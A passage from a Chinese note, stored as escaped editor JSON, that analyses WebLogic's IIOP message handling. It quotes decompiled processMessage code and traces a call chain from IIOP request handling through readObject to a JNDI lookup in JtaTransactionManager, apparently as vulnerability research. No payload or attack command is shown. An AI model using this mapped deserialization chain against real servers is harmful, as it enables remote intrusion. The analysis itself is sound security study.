rocessMessage处理：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7wva-1682256048802&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OPBM-1682256048710&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TqZz-1682256048709&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;final void processMessage(Message var1) throws IOException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1LNR-1682256048712&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Xhmy-1682256048711&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    switch (var1.getMsgType()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VmYa-1682256048714&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NnEn-1682256048713&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        case 0:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iWNf-1682256048716&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GGyI-1682256048715&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.handleIncomingRequest(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m2TQ-1682256048718&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;doyF-1682256048717&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6GJG-1682256048720&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ovcu-1682256048719&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        case 1:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LMJV-1682256048722&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nGvK-1682256048721&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (this.negotiatedRequestId &gt;= 0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;p6Aa-1682256048724&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tdm0-1682256048723&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                synchronized(this.bootstrapLock) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ghIO-1682256048726&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bpzC-1682256048725&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (this.negotiatedRequestId &gt;= 0 &amp;&amp; this.negotiatedRequestId == var1.getRequestID()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EFXi-1682256048728&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Epg3-1682256048727&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.setFlag(this.bootstrapFlags);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rKCd-1682256048730&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yZzv-1682256048729&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.negotiatedRequestId = -1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LNbc-1682256048732&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vbK0-1682256048731&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Q8tc-1682256048734&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TdO9-1682256048733&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PXOu-1682256048736&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;C9Nw-1682256048735&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MtYi-1682256048738&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aOwk-1682256048737&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WMDN-1682256048740&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fVIu-1682256048739&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.handleIncomingResponse(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;94lM-1682256048742&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EfmT-1682256048741&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DhDS-1682256048744&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pmDi-1682256048743&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        case 2:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7zAE-1682256048746&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Geyk-1682256048745&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;l57S-1682256048748&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mFnW-1682256048747&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        case 3:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WSLC-1682256048750&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;o6zr-1682256048749&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.handleLocateRequest(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rANe-1682256048752&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0jqh-1682256048751&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AqKO-1682256048754&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rQW0-1682256048753&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        case 4:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FiXq-1682256048756&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ppqk-1682256048755&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.handleLocateReply(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;txap-1682256048758&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QZFj-1682256048757&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oAG0-1682256048761&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RVyf-1682256048760&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        case 5:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Z7B1-1682256048763&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0ifc-1682256048762&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.handleCloseConnection(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FVAT-1682256048765&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TYEd-1682256048764&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YHvQ-1682256048767&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qOaT-1682256048766&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        case 6:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VwR6-1682256048769&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vaYy-1682256048768&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (Kernel.getDebug().getDebugIIOP()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Tm1n-1682256048771&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ekhy-1682256048770&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.p(\&#34;handling message error\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6GE9-1682256048773&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TaL4-1682256048772&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;x4iY-1682256048775&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LdRq-1682256048774&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;79cH-1682256048777&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JDDr-1682256048776&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.handleMessageError(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QZVk-1682256048779&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5fXw-1682256048778&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3M4d-1682256048781&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AM52-1682256048780&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        case 7:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;S97z-1682256048783&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jjGD-1682256048782&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.processFragment(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rN3Z-1682256048785&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qlFt-1682256048784&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;P18O-1682256048787&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;v3It-1682256048786&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        default:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iWKS-1682256048789&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lSCj-1682256048788&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (Kernel.getDebug().getDebugIIOP()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lt8W-1682256048791&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VD1s-1682256048790&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.p(\&#34;handling unknown message\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MUOd-1682256048793&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FhOk-1682256048792&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Gtcz-1682256048795&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;w3vt-1682256048794&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4PXB-1682256048797&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;btuQ-1682256048796&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.gotExceptionReceiving(Utils.mapToCORBAException(new UnmarshalException(\&#34;Unkown message type: \&#34; + var1.getMsgType())));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MFNY-1682256048799&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NgQ8-1682256048798&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ba9f-1682256048801&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9JlI-1682256048800&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;kotlin&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;d3ka-1682256049085&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6696/WEBRESOURCEb636ed1908b771d6d0e4b943ab15e1be&#34;,&#34;width&#34;:2878,&#34;height&#34;:1726},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6696/WEBRESOURCEb636ed1908b771d6d0e4b943ab15e1be&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2878,&#34;height&#34;:1726},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;a1Qa-1682256048805&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IMmx-1682256048804&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;最终给到BasicServerRef，在其dispatch方法中，新起一个ExecuteRequest线程用于处理对应的request&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UZBT-1682256049086&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6697/WEBRESOURCE55b0d3baad5fbd15e6d1a17fb048fa52&#34;,&#34;width&#34;:2836,&#34;height&#34;:1792},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6697/WEBRESOURCE55b0d3baad5fbd15e6d1a17fb048fa52&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2836,&#34;height&#34;:1792},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BOA9-1682256049087&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6698/WEBRESOURCE0cab925e91b1ef490a41c840a03d1c1c&#34;,&#34;width&#34;:1984,&#34;height&#34;:722},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6698/WEBRESOURCE0cab925e91b1ef490a41c840a03d1c1c&#34;,&#34;initialSize&#34;:{&#34;width&#34;:1984,&#34;height&#34;:722},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;R447-1682256048809&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yV21-1682256048808&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;IIOP协议部分的处理逻辑大概如上述。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9X7Q-1682256048811&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uucA-1682256048810&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;后续request处理部分，从BasicServerRef.invoke开始：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fRvj-1682256049088&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6699/WEBRESOURCEefaf2304ab7c761b490d4d1d10da6357&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6699/WEBRESOURCEefaf2304ab7c761b490d4d1d10da6357&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rWAG-1682256048814&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9LU4-1682256048813&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在_NamingContextAnyImplBase中，调用bind_any()之前将会先执行read_any()方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dTlf-1682256049089&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6700/WEBRESOURCE94e59bbdccbad04d837fab7dec0a04d3&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6700/WEBRESOURCE94e59bbdccbad04d837fab7dec0a04d3&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HXhy-1682256048817&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aGHJ-1682256048816&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;跟进之后发现其实也就是IIOPInputStream的readObject方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6T4Y-1682256049090&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6701/WEBRESOURCE9995b39d4f4611921265135156f24cbd&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6701/WEBRESOURCE9995b39d4f4611921265135156f24cbd&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GNLv-1682256048820&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dapn-1682256048819&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;中间的调用过程很长，最终会调用到JtaTransactionManager的readObject方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lyUO-1682256049091&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6702/WEBRESOURCE195d02897dcaad8b1948d0d19962e939&#34;,&#34;width&#34;:2894,&#34;height&#34;:1784},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qxHa-1682256048823&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Y7rY-1682256048822&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;最终通过：initUserTransactionAndTransactionManager()-&gt;initUserTransactionAndTransactionManager()-&gt;lookupUserTransaction()-&gt;getJndiTemplate.lookup()-&gt;ctx.lookup()触发JNDI：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cWgG-1682256049092&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6703/WEBRESOURCE7683495d0110be47bf76eee0ffa49d9d&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;O7CU-1682256049093&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6689/WEBRESOURCEd74e730fc08fd1a8ffd3b37ae3830f47&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Egje-1682256049094&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6690/WEBRESOURCEc3ac68ea079ede57bb6dba9f1acd9f32&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pXtO-1682256048828&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;da5I-1682256048827&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;调用栈如下&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Nay8-1682256048957&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gD6h-1682256048830&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nod